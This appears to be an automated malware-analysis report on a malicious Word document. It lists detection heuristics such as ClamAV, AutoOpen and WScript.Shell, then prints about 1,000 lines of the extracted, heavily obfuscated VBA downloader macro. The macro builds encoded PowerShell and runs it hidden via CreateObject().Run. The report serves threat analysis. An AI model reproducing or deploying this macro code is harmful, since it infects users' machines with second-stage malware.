MALICIOUS
370
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and utilizes WScript.Shell and CreateObject, indicating an intent to execute arbitrary commands. This is strongly suggestive of a downloader or droppper functionality, likely to fetch and execute a second-stage payload. The ClamAV detection also confirms its malicious nature.
Heuristics 11
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
End Select wnKfLQJIHjdXcp = "WScript.Shell" Select Case qiJicv -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select wnKfLQJIHjdXcp = "WScript.Shell" Select Case qiJicv -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(wnKfLQJIHjdXcp).Run HlsrvH + Chr(VBA.vbKeyC) + ZUiqLjUJmKjQi + omKozEv + iSkXDq, vbHide Select Case woBkn -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "HtfPFaOYKjfP" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 55010 bytes |
SHA-256: 7703957126445160fc6a78a18043197c466952c973a558cdc31c15f1f1e750ee |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
666 of 1103 identifiers look randomly generated (e.g. 'pNFDAmBQNAIDAkBAMAQDAwAwYAkDA2AQZAIDAmBQ') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "azEKPMzt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "twjwcSjdBfWMU"
Function oLnClRtNPjQ()
On Error Resume Next
Select Case mSupj
Case 12250
SUzOrs = ChrB(SRVwvZ)
UHTfKk = iDFSfH
Case 83195
YVmOp = Rnd(otCES)
Uqvws = Cos(XRKbJV)
End Select
GwwfzY = ZmPrm("DRN6PDAwAAZAEK", 2 + 0, 8 + 0)
Select Case tjQrw
Case 23537
AIsAMh = ChrB(ZjORbs)
arHHa = jZzzL
Case 31941
vhXCFr = Rnd(WMwvmL)
wlwKhd = Cos(TsJkW)
End Select
Select Case JpEirB
Case 60817
TojVS = ChrB(qPDcc)
Jwwzi = sDjpX
Case 90356
WvItkP = Rnd(kalSd)
lpMfqw = Cos(QmKtHw)
End Select
AdsUvCwDE = ZmPrm("AH3A2AAMAUGAiBwYAMDA1AgMAMDAxAgZAcDAiBQNAMGA4AQMAMDAkBwNAIGAwAQOAYDAmBgYAkDAmBwNAEGA2AgMAcDA2AgZAEDAwAgYAcDA4AgZAQDA3AAMAYGA1AgNAQGAkBgYAIGA1A3n3izF", 7 + 0, 139 + 0)
Select Case JcfdR
Case 71526
vbhWSN = ChrB(fiNdTv)
DrBwYU = kkPmo
Case 81149
HvHBsD = Rnd(OiJYlz)
DzQnAs = Cos(liisQ)
End Select
Select Case QvKli
Case 93828
wfYEi = ChrB(AVsoE)
VMuOUO = pBYUY
Case 61827
DOHIzL = Rnd(aCqEPQ)
LvHdbj = Cos(LVhpWX)
End Select
CGqbja = ZmPrm("G2cNngZAQDAw", 2 + 0, 6 + 0)
Select Case TZKzX
Case 86099
lNjps = ChrB(uKDJF)
SdGQqw = FrsZSc
Case 76891
HcjFr = Rnd(dZhXn)
WoBSXk = Cos(EdNIU)
End Select
Select Case mcizPV
Case 62434
NITSGE = ChrB(MPNiPH)
RJcHG = QWFlCI
Case 54900
HDGHlC = Rnd(ABinJ)
qjdvH = Cos(OKYUI)
End Select
aVClsUpOm = ZmPrm("08%lBwNAgDA5AgZAU,8j", 4 + 0, 14 + 0)
Select Case zSqDh
Case 30495
bGELHb = ChrB(FCRHtT)
SZnbpu = Ndjjws
Case 76681
fzUSph = Rnd(mXWUd)
MtQao = Cos(isCbr)
End Select
Select Case UMKrJw
Case 54581
lpzGtf = ChrB(mPaNj)
RtaRW = CsiQi
Case 76340
bAiKLB = Rnd(tuFwFk)
rqHvi = Cos(WDTkZ)
End Select
kPNnz = ZmPrm("3TGiloyAAZAUDA5AwNAQGA2AAMAUGAwAgZAQGA1AgNAQt2", 3 + 0, 38 + 0)
Select Case oZuCZV
Case 35251
EGDFP = ChrB(DNXnc)
mnLBb = AlFXj
Case 97194
YMDwrf = Rnd(mSRlmB)
RwJjfI = Cos(AAOtb)
End Select
Select Case Brdjhr
Case 64996
bNLWM = ChrB(vnSjWf)
ljrTWU = awJQWE
Case 26611
vhQbFK = Rnd(DVTFUp)
PJckAP = Cos(mMLWo)
End Select
iYQaYFAroj = ZmPrm("%8oEDA2AQMAQDAlBgMAgDAjBwMAADAxAAZAQDA2AwYAADA4AANAQGAhBgYAADAlBwYAYDA4AwMAEGAmBQZAYDA4AQNAYGAzAwYAcDAwAgMAEGAmBQOAADA5AAZAEGA0AAZAYDAjBgZAMGAzAwNAADA4AANAQGAxAgYAEGAyAgZAADAwA5Yo.i", 6 + 0, 173 + 0)
Select Case fDuzH
Case 57292
skSvZc = ChrB(jWAQz)
zjAol = wqJVF
Case 8082
lBAaU = Rnd(qriiqj)
YKbPM = Cos(XlZwCG)
End Select
Select Case cZYzcS
Case 74008
SXwfUZ = ChrB(iSECHF)
TVSrJ = aiYAI
Case 24277
HCQzqJ = Rnd(hPZNY)
fTrZd = Cos(cIFDik)
End Select
vJVzlsT = ZmPrm("LOm098XAxAgZAIDA3AAZAEGAmBQMAMGAiBgYAUGAkBgZAYDA2AgYAADA4AQNAYGA5AQOAcDAmBQMAEGAxAAZAYDA2AAZAUGA5AAZAIGAhBwNAYGzT", 3 + 0, 104 + 0)
Select Case dGnwz
Case 43152
iTjCG = ChrB(zvmDv)
SsdHn = XQkiCz
Case 73418
hfEtQ = Rnd(qQiLnp)
QuhWC = Cos(YSQAz)
End Select
Select Case XMXIWr
Case 24856
kDEiKv = ChrB(qwiAZt)
SXZVrE = uVfHiL
Case 35118
KvsHHj = Rnd(wUEqLI)
jdjiv = Cos(AiBAIC)
End Select
irWHWma = ZmPrm("VooTRADAiBgMAMGAlBAOAYDA3AQZAEDA0AAOAQGA1AQOAQDAwAQMAUDAkBAZAcDA4AwNAADAlBgZAMDAkBgMAEGAkBwNAcDA2AgYAcDA3AQNAcDAlBAZAUGAhBQMAYDAjBw,z", 3 + 0, 125 + 0)
Select Case iYWjjH
Case 21381
mIRmvh = ChrB(FQAsW)
lBYvQ = fbusw
Case 8219
CZzYHD = Rnd(hzVRwA)
bdlzP = Cos(SzXzkT)
End Select
Select Case bdOmHP
Case 88557
JIDksp = ChrB(UhODO)
iNqzF = JZSiz
Case 67526
AkVlcu = Rnd(inzzWc)
MOrui = Cos(SzQXm)
End Select
KMorOiL = ZmPrm("n5uIn54anyAAOAIGAwAQZAEGA1AwMAIGA0AQOAUGA1AQMAMGA0AQOAIGAkBQZAIGA3AgYAEDAiBgNAYGA0AQOAYGAjBwYAYGAhBgYAMDAxAwMAYGA1AQYAIGAxAQOAEDAyAAOAcDA3AgZAEDAiBgZAUGAxAwMAUGA4AQZAQGA0AgMAMGAmBAOAIGAiBQOAYDAwAQNAEj7zR8", 6 + 0, 190 + 0)
Select Case OlWra
Case 7345
toXzw = ChrB(IaiqOr)
diwKao = chCTz
Case 97767
jCHwYw = Rnd(idpPv)
ZfnHB = Cos(IYjoMR)
End Select
Select Case GfpYZj
Case 59439
fNVDBz = ChrB(pkUwow)
AoEML = DUBlqI
Case 60263
SmDiw = Rnd(ZXpVM)
HsBZs = Cos(jwiATM)
End Select
fuQkmBDpwJ = ZmPrm("Y6tYAEDA0AAZAQGA4AQZAQGAyAAOAgDA4AwMAYDAmBQOAQDAyAgMAYDAmBgYAYDA2AQZAIGA1AwNAMGAzAANAIDAyAgMAMDA4AgYAQDA5AgZAUGAmBQMAYDAlBgZAMDAhBAMAIDAhBgYAEDAiBQYAI5zQ5uIn54aq", 6 + 0, 147 + 0)
Select Case zpKMk
Case 25039
UUXzRS = ChrB(diczjz)
aLTctC = jbRTq
Case 17826
fOLFIT = Rnd(mUDHZ)
GQCBjN = Cos(WirkrK)
End Select
Select Case qpDDIS
Case 76723
bvmtO = ChrB(LquwoZ)
ihknM = ubdAQ
Case 79425
laUzu = Rnd(jjSCt)
iAfpj = Cos(lUCLHT)
End Select
WFPTbNSZYNG = ZmPrm("4MwQotADA4AAOAUGA5AAOAIGAiBQYAEDAxAwYAEGAoLL", 4 + 0, 35 + 0)
Select Case wRtiz
Case 90937
ECKlW = ChrB(CitsLf)
SiAPmu = fUIZS
Case 1698
womwUH = Rnd(RfptS)
iDaJAc = Cos(zRRdvD)
End Select
Select Case uXbES
Case 49093
PmPpNR = ChrB(aSfTs)
rzzEGn = XkHYc
Case 10927
NEWswP = Rnd(wpijJ)
vRGQR = Cos(VOuYWw)
End Select
QNiTIVPhkXI = ZmPrm("iq dNAgDA3AAMAADAyAQYAADA4AgNAgDA3AgYAEDAh%7T", 4 + 0, 38 + 0)
Select Case CLfiqM
Case 15702
nVvnX = ChrB(fuKQUw)
bFdrHB = kSjzuR
Case 26349
RKrXBm = Rnd(wKdtz)
UkHCBu = Cos(FCnjLY)
End Select
Select Case kZwqt
Case 70680
izfwn = ChrB(zpzqQ)
EJXcHR = qHbtf
Case 90826
uuroaE = Rnd(Kwoii)
lRBjMn = Cos(VGMwqZ)
End Select
NqpDjOG = ZmPrm("pNFDAmBQNAIDAkBAMAQDAwAwYAkDA2AQZAIDAmBQYAQDA4AgNAYDAlBgNAgDAyAQOAkDAlBgMAQDAzAwMAUDA4AQNAYDAxAgZAYGAzAgZAUGAkBgZAcDA3AgMAEGAwAgNAEDA4AwMAEGAiBwMAkDAyAwYAADA1AgMAcDA5AAMAMDA2AwMAgDA3AwYAkDAG%i", 4 + 0, 186 + 0)
Select Case uRDDAC
Case 85295
EwKPM = ChrB(uNiuc)
jYFuhs = Znhuw
Case 2394
Vttlib = Rnd(iMDVwb)
btdCNl = Cos(VMIWIC)
End Select
Select Case XBYhn
Case 79822
Acjvz = ChrB(Woijoj)
pzEkz = oJUjQ
Case 66566
DvKCQP = Rnd(zjFCj)
DzNhSl = Cos(Rjazo)
End Select
jGGwphZoX = ZmPrm("kTNAkDAwAgMAEGAkBgNAUGAlBAZAUGAxAANAEDAkBAMAYDAjBAZAgDA3AQOAcDA0AQOAMGA5AwMAcDA0AwMAkDAyAAMAMDA3AAOAEGA5AgYAQDA4AQNAIGAyAQOAUGA5uIn54aZTKTN", 7 + 0, 124 + 0)
Select Case kBNftS
Case 25693
jbdfS = ChrB(ZJFrB)
Kwpvn = fUjXV
Case 25534
jfGkE = Rnd(kSmUX)
BzNoHa = Cos(vkZlLR)
End Select
Select Case DzKpX
Case 69440
iFmAOG = ChrB(aOXsw)
wiUzd = IHnzku
Case 21146
HYCGs = Rnd(JJZMWr)
VuwhiB = Cos(FUdLL)
End Select
Milti = ZmPrm("ZQi5arNAYGAzAQZAEDA4AAZAYGA2AAMAEDA3AgMAYDA3AAMAcDA0AAMAIDAhBwNAADA4AQYAIDAmBwNAYGA2AwNAYGAiBwYAYGAwAANAEGA4AAMAIDAzAwYAIGAwAwNAYGAxAQNAkDAiBgMAkDAlBQNAEDAhBQYAIDAiBQZAcDAzAQYAEDA3AQZAQDA3AANAUDAiBQaH3", 4 + 0, 192 + 0)
Select Case bhqHCG
Case 5893
RCMQz = ChrB(KnIIc)
CmNrPF = lwnuru
Case 10411
cSSKQ = Rnd(fErkQi)
ORMVia = Cos(pTzswN)
End Select
Select Case riqkE
Case 5443
qHKMZj = ChrB(zcFWBD)
KmGvFm = ESzJC
Case 79521
bDmwfa = Rnd(RjNcj)
Lwpkmn = Cos(jrkpw)
End Select
oiFbrXrbujR = ZmPrm("iiN1DjzDAiBAMAEDAkBAOAIDAlBQMAADAmBgZAkDA3AAMAgDAjBANAwHA9AQPAcHAHBgbAUHA4AgcAoFAIBQSAQGA0BwMAgGAUBQNAAHA2AATA5uIn54aGAyBAaAEGA8BgM5435a05061b3143240f3476111d29467'($(iSnAcollaLabOlGOTGNirTSerUceS::]i", 2 + 0, 186 + 0)
Select Case YlpLD
Case 44480
NVYTYV = ChrB(itGtSW)
BIcOXP = zjTzAP
Case 3030
bUJFr = Rnd(pXWMQK)
nkqWcW = Cos(dNwjI)
End Select
Select Case RFNzU
Case 74851
zVSZlS = ChrB(GiEtY)
RqGov = FRmBrz
Case 12687
bCjcj = Rnd(QnGbb)
iJziBX = Cos(rqawZB)
End Select
zzEijoIjL = ZmPrm("1A)''NIOJ-'X'+]3,1[)(gNIRTV4C0Fw", 7 + 0, 24 + 0)
Select Case hXNUbZ
Case 59851
bEwcJ = ChrB(tdjiN)
JvUDA = ZPMAD
Case 14204
CmsZmA = Rnd(zOhsk)
OWzMr = Cos(MiXmD)
End Select
Select Case IjZEwz
Case 40821
QuufAc = ChrB(abrCj)
obwNf = kVOEpY
Case 93003
sPmDA = Rnd(LBWAdb)
zMDtIE = Cos(UIbrS)
End Select
KsGbj = ZmPrm("7@.%a5uIn54aYAQGAkBAMAEDA1Aw9z.", 4 + 0, 16 + 0)
Select Case lVBpE
Case 14428
NUKoo = ChrB(HwmEz)
EzkILL = TZujnv
Case 71239
rqAhwW = Rnd(aiCPE)
zYhDi = Cos(OJANq)
End Select
Select Case FjpjS
Case 99185
wpwzVP = ChrB(iRMCoR)
VNJkS = BMrSj
Case 61055
RLbvn = Rnd(hGqja)
MlzOd = Cos(YJEkW)
End Select
ERdczi = ZmPrm("@9gDAxAAOAMDA3AgYAQGAiBgYAIDAzAgNAcDA0AgZAIGAiBANAUGAxAQOAEGA0AgYAQGAhBgNAADAhBgNAADAjBwMAUDAwAwYAgDAxAQZAUGAjBgYAYDAjBQYAcDAyAQOAkDAmBQYAUDA2AgYAMDAmBgMAUDAxAwMAYGA0AQMAgDAkBwMAkD%.kcAz", 7 + 0, 178 + 0)
Select Case zzmijw
Case 57940
qtQTp = ChrB(PjkNi)
iaGbDw = CHWSh
Case 78436
wnTCXs = Rnd(JTSVd)
MApZq = Cos(szYsK)
End Select
Select Case XHwTau
Case 17397
rFZIdY = ChrB(qFacW)
JcqfR = vrTlzn
Case 45437
KIkaQ = Rnd(uzRawE)
qqBfa = Cos(qOiFn)
End Select
zkrYWWDwi = ZmPrm("cj5iRZTGA2AQMAcDAzAANAcDAxAwMAADAhBANAYDAiBgZAcDAyAgYAADA4AAMAADAiBAZAUGAlBgZAMGAwAANAUGAkBAZAQGAkBgZAMDAiBQMAUGAkBANAcDAiBwYAYGAkBgMAADAwAgNAcDA5AAOAUGA3AQMAYGio", 3 + 0, 153 + 0)
Select Case LOmYT
Case 50965
GWwhU = ChrB(LvLJK)
hMLEB = FYihn
Case 60946
wQENH = Rnd(zAdwBu)
hfOMf = Cos(TqGzz)
End Select
Select Case QQophP
Case 52229
CnaNFl = ChrB(kOEdww)
ODVYK = iFwvHd
Case 19463
tARduI = Rnd(kvkzjv)
naCPhJ = Cos(lUIEz)
End Select
WisfoBPv = ZmPrm("N2O5uIn54aFi%TNI.eMiTNuR[( AR", 3 + 0, 14 + 0)
Select Case zpfGb
Case 53244
rOmADn = ChrB(iIkZd)
wRYssw = lIfJZ
Case 90651
rvPiX = Rnd(voZnC)
trXdj = Cos(aTCjQn)
End Select
Select Case cqtYt
Case 35408
zrMWwf = ChrB(PMfAEI)
WlzkVn = GjonF
Case 67827
lXcLU = Rnd(ipPtF)
IvhXDw = Cos(OFEuo)
End Select
znJrX = ZmPrm("0n666iBwNAYDA2AgYAkDAlBwNAIDAyAQNAQGAxAQZAMGAwAAZAUGA0AQOAYGA1AQOAMGA0AQNAQDA1AAZAMDAwAwNAgDAwAANAUGAhBwMAEDA4AgNAADA1AwNAQDA3AAOAIGAxAANAMDAmBQNAYDA0AQMAYDAwAgYAMGAxAQYAUGAiBAOAEDAiBAZAMDAmBAOzc", 3 + 0, 188 + 0)
Select Case faqKX
Case 68725
vbdoDp = ChrB(BVjWGf)
iZYJkq = UAjdoo
Case 78825
nfrJMo = Rnd(RtTOMP)
YinImA = Cos(RBmtF)
End Select
Select Case QEtzpL
Case 73423
kSoBYO = ChrB(VNUNK)
zzfKc = JGoaH
Case 4786
iuFVu = Rnd(UHbFkf)
TmRjQv = Cos(cRFOo)
End Select
cZRwAAM = ZmPrm(".u,@LCrNAIDAxAAMAgDAmBwNAkDAiBgNAIDAiBgNAUDAzAAMAIGAxAQOAQDAhBANAcDAiBQNAYGA1AANAIGAkBQNAADAyAwNAQDA3AAZAMGAzAgYAEDAlBgMAUDAzAgNAq", 2 + 0, 122 + 0)
Select Case Dcivr
Case 64544
UjKQsZ = ChrB(quXtu)
ooWpEK = AbQpq
Case 62643
krdjOC = Rnd(TnbArq)
LiuLT = Cos(YPGpq)
End Select
Select Case iUJcb
Case 36733
uNGGZn = ChrB(UBZYi)
WqQNz = BiStHl
Case 45869
vtWjZa = Rnd(JbcNnp)
dIrXzX = Cos(rDwcnR)
End Select
jOPRZwKD = ZmPrm("@Gae2tZ", 4 + 0, 1 + 0)
Select Case cTwUC
Case 2881
bfswD = ChrB(NPozM)
LEJBkm = uEpZE
Case 74002
ahHdt = Rnd(nYCczY)
wdbPwP = Cos(GMSSOh)
End Select
Select Case qCTIV
Case 74527
VjEdY = ChrB(UjqbF)
NzHQfB = vuwsY
Case 53720
DzzWbp = Rnd(zsJfou)
aInwjO = Cos(CjmnHO)
End Select
BrDAUTpN = ZmPrm("lF8z3AAMAIDAlBgNAIDAhuYMC", 5 + 0, 17 + 0)
Select Case GWqjBz
Case 16296
mUAPE = ChrB(FwkrG)
UmLtr = wAQKj
Case 38496
wqVSwn = Rnd(cGVSwQ)
NzkBw = Cos(rXULz)
End Select
Select Case qctubm
Case 31727
rSwNj = ChrB(iajFX)
moroo = YwhHaO
Case 72351
NvZEm = Rnd(Qjhui)
bIhwaW = Cos(dJClEF)
End Select
oqoPhWU = ZmPrm("Z5uIn54apkz5uIn54aOt.EcnEREferpE5uIn54aobrEV$ ( & | ) ) )))571..251( k- GniRtSERUcES-otTReVnoC | '==AAhBgZAYGAwAgw", 2 + 0, 91 + 0)
Select Case OSljrh
Case 54354
DjBfT = ChrB(GCHzJ)
EPQkhD = IILJUw
Case 84084
zzzCz = Rnd(KFwvu)
VWHun = Cos(IpwBAC)
End Select
Select Case ZWzYzf
Case 55890
RFQNmi = ChrB(aMumV)
VDWBu = LakEr
Case 79270
qSiJIv = Rnd(RaTjwV)
IhbwKX = Cos(ETaXE)
End Select
ERcwmfG = ZmPrm("%ogNAkDAzAANAIDA2AgZAUDAjBgMAcDAlBgZAYGACkToO", 6 + 0, 38 + 0)
Select Case ROhBY
Case 46904
nGwDm = ChrB(vpujqC)
kDsIH = RPmwDl
Case 6961
IDtSIa = Rnd(zBlXK)
ciJkk = Cos(faNVY)
End Select
Select Case BzuUu
Case 30455
zWkTf = ChrB(mBiXwR)
QPwmb = lkzzBw
Case 20208
bSGEzK = Rnd(LZGlBP)
GzSKwZ = Cos(mBItT)
End Select
oTuXuJ = ZmPrm("w9CH3kBwMAIGAyAwYAEGAlBgNAcDAzAANAUDAyAAZAgDA2AgYAIDAhBAMAQGAkBQYAADA1AAMAkDAyAAZAMGAmBgZAEDA0AQMAQGAzAwNAQGAyAAZAIGAzAQNAEDA0AgYAIGAzAQZAIDAwAgNAQGAiBQMAMDA0AgMAMGAlBO", 2 + 0, 162 + 0)
Select Case mBZjVV
Case 3666
jXTzG = ChrB(FprAaL)
iAiqz = VpQwLf
Case 61570
JAXQjN = Rnd(WawLr)
AwJHSI = Cos(IBusV)
End Select
Select Case QmSUTK
Case 40956
jqSjzW = ChrB(sUZsw)
RWzja = zzDZXX
Case 43485
qsNwnz = Rnd(HuWKw)
TKEPws = Cos(zQSns)
End Select
uavkP = ZmPrm("6j9SpDAYAkDAjBANAMGAyAgYAMDA2AwNAYGAiBQn", 2 + 0, 32 + 0)
Select Case XjcQu
Case 15724
bizGdF = ChrB(oJcdW)
BimwKa = GvaaaE
Case 45600
midcCW = Rnd(oLzmr)
cpnpQQ = Cos(twiGT)
End Select
Select Case DvzzO
Case 55082
cUWoXk = ChrB(LSwvb)
YPiNuA = hzjuX
Case 23272
niUqI = Rnd(sRqIn)
Kzmmq = Cos(jlwnRk)
End Select
JOifvhcst = ZmPrm("BVQYAYDA3AgMAUDAmBQZAQDAwAAMAkDA3AwMAADA4AQZAADA2AgYAcDAiBgNAIDAkBgNAIDAhBwNAQDA2AANAJ9VRG", 6 + 0, 82 + 0)
Select Case NYwdo
Case 55170
LSUjw = ChrB(mSuGZ)
ZYqGv = pFoaU
Case 404
knvlu = Rnd(BjWKsd)
oiBRr = Cos(NwKdXR)
End Select
Select Case IoDTDw
Case 84795
mrFvIS = ChrB(zfijMr)
XabimF = WhcVcz
Case 52329
UJszX = Rnd(KOluV)
UhiOI = Cos(SQdsVM)
End Select
YEiuAh = ZmPrm("vF7PuTQ0jBQOAIGA2AgNAUGAjBAMAgDAiBQA", 2 + 0, 27 + 0)
Select Case EPJcaj
Case 35263
dLUoM = ChrB(WMLpn)
qVpCO = njKsb
Case 76165
MSDBlL = Rnd(DvqWJ)
vUwERD = Cos(vvjaGO)
End Select
Select Case AGNjw
Case 94132
QdVjw = ChrB(zQivb)
vMzob = vFoqjc
Case 94845
XXvpa = Rnd(iWSpU)
GYGibd = Cos(PZKAR)
End Select
spfNcuD = ZmPrm("1..@TDAlBwYAIDA5AQNAADAhBQMAIGA1AQOAIGAzAwYAEDA2AwMAEDAkBQMAMDAzAwNAMDAmBQNAMGAhBQZAIDAmBwNAYDAhBgYAEGAmBgNAIDAhBQZAcDA5AwYAIDA4AANAMDA4AgZAgDA5AgMAQGAyAAZADzw", 4 + 0, 151 + 0)
Select Case vCrMZw
Case 86439
qhZVtV = ChrB(WYtKT)
iWzKPD = hjNWd
Case 5321
KnJtsb = Rnd(PrjJh)
ptARq = Cos(wNfrCK)
End Select
Select Case HYzWdW
Case 9212
AUmbw = ChrB(EHsKW)
AFVSir = RlUpjk
Case 88766
okCwR = Rnd(KRQCk)
jfjlm = Cos(RiCCh)
End Select
SCqmbYlKu = ZmPrm("5uIn54ari74AAMAUGAiBgNAADAxAAMAMDAyAwYAT5%q", 5 + 0, 29 + 0)
Select Case llmUji
Case 7498
EuPWqO = ChrB(YpnEQ)
iDmCiD = TPLmDN
Case 20052
Rqlmwt = Rnd(mQNuX)
soOzR = Cos(DhASzb)
End Select
Select Case VLzqkl
Case 16712
lfhmvd = ChrB(VbDSz)
NWwtP = XDFQCu
Case 66366
kBEcAj = Rnd(TSuEil)
aFHvmf = Cos(pAzVo)
End Select
HsMrFWhV = ZmPrm("C5uIn54aFiGA5AgNAUDA5AgZAIDA5AAOAEDAzAQYAkDAiBAMAkDA2AAMAEGA3AQNAMDAhBANAgDAlBAMAcDA0AAOAADAmBQMAUGA0AwYAQDAmBAOAIGA5AQYAcDAiBwMAkDAjBgYAEDA3AgZAMDA1AAOAUGAyAQNAgDA0AgZAUDAhBwNAMDAkBANAMDA1AQNAcDAxAwYAQGAz%@", 4 + 0, 194 + 0)
Select Case jfOfsN
Case 79542
TWbSQV = ChrB(DEplLd)
zIHHCj = AHHLvJ
Case 77304
PLRwQ = Rnd(jfcVK)
mwHjd = Cos(FfFXk)
End Select
Select Case muKWw
Case 40820
TtVtV = ChrB(cpzJYE)
zSpKk = bEnQz
Case 36934
kLXfB = Rnd(uqFom)
jwZXi = Cos(MrDLT)
End Select
sIYmHj = ZmPrm("c5VADA1AAMAIGAlBANAEDAhBgYAQGA1AwNAkDAiBANAMDA0AQMAgDA1AANAEGAmBgZAUGAlBwNAQGAiBQYAMGAiBQOAYGAmBQf%", 3 + 0, 93 + 0)
Select Case AmktC
Case 62062
YZKNRR = ChrB(HFJXs)
CGDMBh = vlbHZ
Case 84793
iPhAo = Rnd(LOiWl)
FLMGh = Cos(SpCujY)
End Select
Select Case VfHjCR
Case 56951
KZbjS = ChrB(sRNVVH)
Yfhjz = pUoWB
Case 65833
jvZqh = Rnd(iCorpJ)
TULwBD = Cos(awAZz)
End Select
SmfDqhzM = ZmPrm("0.Lah5uIn54aram.5uIn54aEciVRESPoretni.emITnUR[(eKOvnI.)EmaN.]0[)(5uIn54arEbmEmTeG.]LAhSrAm.SeCiVReSpOrETni.emItnUR[(::]lAh5uIn54aRAm.5uIn54aecivrE5uIn54aPOR%W6qwV", 7 + 0, 118 + 0)
Select Case uorWD
Case 51735
GswsXn = ChrB(YSjnsX)
DVJrV = Zmmvzq
Case 60747
uLSnOL = Rnd(bYSZNT)
HMMhbz = Cos(ShfidX)
End Select
Select Case iWPzAl
Case 11971
ainFjq = ChrB(AbfjF)
RRLqm = vboZt
Case 97855
AvKSZ = Rnd(vsEQE)
OPVPw = Cos(YdJNF)
End Select
rQifHtNa = ZmPrm("VAV5uIn54a5uIn54aMAMGAiBwYAQDAmBQOAYDAkBQYAQDAjBgNAIGA5AQMAQGA1AAMAEGAkBwNAMGA3AwMAEGAlBgNAEDAlBwYAgDA2AAOAE8R,V", 5 + 0, 91 + 0)
Select Case INdKK
Case 71739
tGVqJ = ChrB(JGZKcN)
GXYta = rDVUA
Case 75482
GJLdkh = Rnd(LKMsY)
YnPwT = Cos(zFwkpk)
End Select
Select Case wYzRU
Case 39438
hiTIz = ChrB(djVkw)
qWGGOL = zWYjnr
Case 79653
RvOWs = Rnd(iThQRc)
Zrrkf = Cos(tlsRi)
End Select
FPAIvDfuvvI = ZmPrm("T0dHz.BQMAMDAwAAOAEDAkBgZAgDAhBwMAUGAlBAMAcDA2AgNAADAhBgYAQGA4AAZAADAkBAMAMGA1AgNAIDA1AQNAEGA5AQOAIDAjBgZAIGAxAwYAIDA5AwMAIDA3AgZAIGAmBAOAQDAhBwNAkDA1AQMAUGA1AQMAcDA1AQOAQGA2AQOAQGAkBAOAUGAmBAOAUDAxAQMAI68", 3 + 0, 197 + 0)
Select Case XVkJw
Case 61849
JLLlG = ChrB(FDMCY)
wjlZih = HSvQZd
Case 61582
VMtKj = Rnd(ASzOFk)
aVhjU = Cos(mXlvFb)
End Select
Select Case rRzoZ
Case 60032
mjfGD = ChrB(UzErv)
dVpDjj = cuuTCG
Case 86955
AmBZH = Rnd(cRRvZE)
YzHpnj = Cos(iBNPF)
End Select
RKGDFT = ZmPrm("F9AA5AQYAYDAwAgMAMGAyAAMAgDAzAgNAQGAyAgYAIGAmBQMAYDAxAgYAIDAmBQZAYGA2AwMAIGAhBgMAIGAmBQMAIDAiBANAYGA0AwNAYGAyAgYAMGA5AAOAQDAyAQZAYDAwAAZAcDA3AgMAMDA2AwMAQDAk9f", 4 + 0, 153 + 0)
Select Case CKsPdz
Case 20203
ULCSnP = ChrB(DXIKf)
DwniOX = jwYlUK
Case 47857
ZBSZu = Rnd(ElEWAT)
idEEZ = Cos(wOFlO)
End Select
Select Case MGNFk
Case 52294
zmDZY = ChrB(fjDUt)
qoCaj = whrbv
Case 15471
pBpMXw = Rnd(pjNTjO)
slfrNw = Cos(QRKfj)
End Select
wEbwrE = ZmPrm("4zkoDAEDAjBQOAMDA5AgYAgDA0AgMAADAmBQYAcDAkBQYAMGA1AQMAQGAlBANAUGAzAwNAUGAmBgMAMGAiBAOAcDAlBgZAUDAzAAMAkDA3AAZAEGAyAAOAQGAyAgMAEDA5AgYAUDAlBQZAYGA2AQYAYDAiBANAMGA5AwMAEDAwAAMAYGA5AgZAkDA0AAMAIDA5AQNAEV%", 3 + 0, 193 + 0)
Select Case ltIVrv
Case 54524
WqTjWA = ChrB(KajrS)
GvMkhJ = YkfhqQ
Case 13581
XsbnmI = Rnd(vMLrz)
FqbnOB = Cos(wvkKmv)
End Select
Select Case SAmkJ
Case 86933
fzjwzb = ChrB(HtdjHv)
rIjdht = ziUIQ
Case 34773
pEWjUH = Rnd(cditbH)
EmtvI = Cos(bsFGc)
End Select
